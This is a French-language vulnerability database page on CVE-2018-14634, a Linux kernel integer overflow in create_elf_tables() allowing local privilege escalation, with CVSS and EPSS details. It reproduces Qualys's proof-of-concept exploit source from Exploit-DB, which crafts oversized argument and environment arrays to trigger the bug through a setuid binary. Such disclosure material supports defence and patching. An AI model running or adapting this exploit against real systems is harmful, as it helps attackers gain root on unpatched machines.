CVE-2018-14634

Score / Sévérité

7.8

HIGH

EPSS

0.04%V3

Vecteur

Local

Publié

2018-09-25 19:00 +00:00

Dernière modif.

2021-07-20 12:06 +00:00

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CVE.org

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Descriptions

An integer overflow flaw was found in the Linux kernel's create_elf_tables() function. An unprivileged local user with access to SUID (or otherwise privileged) binary could use this flaw to escalate their privileges on the system. Kernel versions 2.6.x, 3.10.x and 4.14.x are believed to be vulnerable.

Informations

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-190	Integer Overflow or Wraparound The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

Metrics

Metric	Score	Sévérité	CVSS Vecteur	Source
V3.0	7.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45516

Date de publication : 2018-09-25 22:00 +00:00
Auteur : Qualys Corporation
EDB Vérifié : No

/* EDB-Note: Systems with less than 32GB of RAM are unlikely to be affected by this issue, due to memory demands during exploitation. EDB Note: poc-exploit.c */ /* * poc-exploit.c for CVE-2018-14634 * Copyright (C) 2018 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <limits.h> #include <paths.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #define MAPCOUNT_ELF_CORE_MARGIN (5) #define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN) #define PAGESZ ((size_t)4096) #define MAX_ARG_STRLEN ((size_t)128 << 10) #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(void) { if (sizeof(size_t) != sizeof(uint64_t)) die(); const size_t alpha = 512; const size_t sprand = 8192; const size_t beta = (size_t)9 << 10; const size_t items = (size_t)1 << 31; const size_t offset = items * sizeof(uintptr_t); #define LLP "LD_LIBRARY_PATH=." static char preload_env[MAX_ARG_STRLEN]; { char * const sp = stpcpy(preload_env, "LD_PRELOAD="); char * cp = preload_env + sizeof(preload_env); size_t n; for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) { size_t i; for (i = n; i; i--) { *--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0'; cp -= sizeof(LLP)-1; memcpy(cp, LLP, sizeof(LLP)-1); } } memset(sp, ':', (size_t)(cp - sp)); if (memchr(preload_env, '\0', sizeof(preload_env)) != preload_env + sizeof(preload_env)-1) die(); } const char * const protect_envp[] = { preload_env, }; const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]); size_t _protect_envsz = 0; { size_t i; for (i = 0; i < protect_envc; i++) { _protect_envsz += strlen(protect_envp[i]) + 1; } } const size_t protect_envsz = _protect_envsz; const size_t scratch_envsz = (size_t)1 << 20; const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN; if (scratch_envsz % MAX_ARG_STRLEN) die(); static char scratch_env[MAX_ARG_STRLEN]; memset(scratch_env, ' ', sizeof(scratch_env)-1); const size_t onebyte_envsz = (size_t)256 << 10; const size_t onebyte_envc = onebyte_envsz / 1; const size_t padding_envsz = offset + alpha; /***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN; const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem; static char padding_env[MAX_ARG_STRLEN]; memset(padding_env, ' ', sizeof(padding_env)-1); static char padding_env1[MAX_ARG_STRLEN]; if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1); const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc; if (envc > MAX_ARG_STRINGS) die(); const size_t argc = items - (1 + 1 + envc + 1); if (argc > MAX_ARG_STRINGS) die(); const char * const protect_argv[] = { "./poc-suidbin", }; const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]); if (protect_argc >= argc) die(); size_t _protect_argsz = 0; { size_t i; for (i = 0; i < protect_argc; i++) { _protect_argsz += strlen(protect_argv[i]) + 1; } } const size_t protect_argsz = _protect_argsz; const size_t padding_argc = argc - protect_argc; const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 + protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2); const size_t padding_arg_len = padding_argsz / padding_argc; /***/ size_t padding_arg_rem = padding_argsz % padding_argc; if (padding_arg_len >= MAX_ARG_STRLEN) die(); if (padding_arg_len < 1) die(); static char padding_arg[MAX_ARG_STRLEN]; memset(padding_arg, ' ', padding_arg_len-1); static char padding_arg1[MAX_ARG_STRLEN]; memset(padding_arg1, ' ', padding_arg_len); const char ** const envp = calloc(envc + 1, sizeof(char *)); if (!envp) die(); { size_t envi = 0; size_t i; for (i = 0; i < protect_envc; i++) { envp[envi++] = protect_envp[i]; } for (i = 0; i < scratch_envc; i++) { envp[envi++] = scratch_env; } for (i = 0; i < onebyte_envc; i++) { envp[envi++] = ""; } for (i = 0; i < padding_envc; i++) { if (padding_env_rem) { envp[envi++] = padding_env1; padding_env_rem = 0; } else { envp[envi++] = padding_env; } } if (envi != envc) die(); if (envp[envc] != NULL) die(); if (padding_env_rem) die(); } const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1); const size_t filemap_nptr = filemap_size / sizeof(char *); char filemap_name[] = _PATH_TMP "argv.XXXXXX"; const int filemap_fd = mkstemp(filemap_name); if (filemap_fd <= -1) die(); if (unlink(filemap_name)) die(); { size_t i; for (i = 0; i < filemap_nptr; i++) { const char * const ptr = padding_arg; if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die(); } } { struct stat st; if (fstat(filemap_fd, &st)) die(); if ((size_t)st.st_size != filemap_size) die(); } const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (argv == MAP_FAILED) die(); if (protect_argc > PAGESZ / sizeof(char *)) die(); if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die(); { size_t argi = 0; { size_t i; for (i = 0; i < protect_argc; i++) { argv[argi++] = protect_argv[i]; } } { size_t n = padding_argc; while (n) { void * const argp = &argv[argi]; if (((uintptr_t)argp & (PAGESZ-1)) == 0) { if (padding_arg_rem || n < filemap_nptr) { if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die(); } else { if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die(); argi += filemap_nptr; n -= filemap_nptr; continue; } } if (padding_arg_rem) { argv[argi++] = padding_arg1; padding_arg_rem--; } else { argv[argi++] = padding_arg; } n--; } } if (argi != argc) die(); if (argv[argc] != NULL) die(); if (padding_arg_rem) die(); } { static const struct rlimit stack_limit = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY, }; if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); } execve(argv[0], (char * const *)argv, (char * const *)envp); die(); } /* EDB Note: EOF poc-exploit.c */ /* EDB Note: poc-suidbin.c */ /* * poc-suidbin.c for CVE-2018-14634 * Copyright (C) 2018 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(const int argc, const char * const * const argv, const char * const * const envp) { printf("argc %d\n", argc); char stack = '\0'; printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp); #define LLP "LD_LIBRARY_PATH" const char * const llp = getenv(LLP); printf("getenv %p %s\n", llp, llp); const char * const * env; for (env = envp; *env; env++) { if (!strncmp(*env, LLP, sizeof(LLP)-1)) { printf("%p %s\n", *env, *env); } } exit(EXIT_SUCCESS); } /* EDB Note: EOF poc-suidbin.c */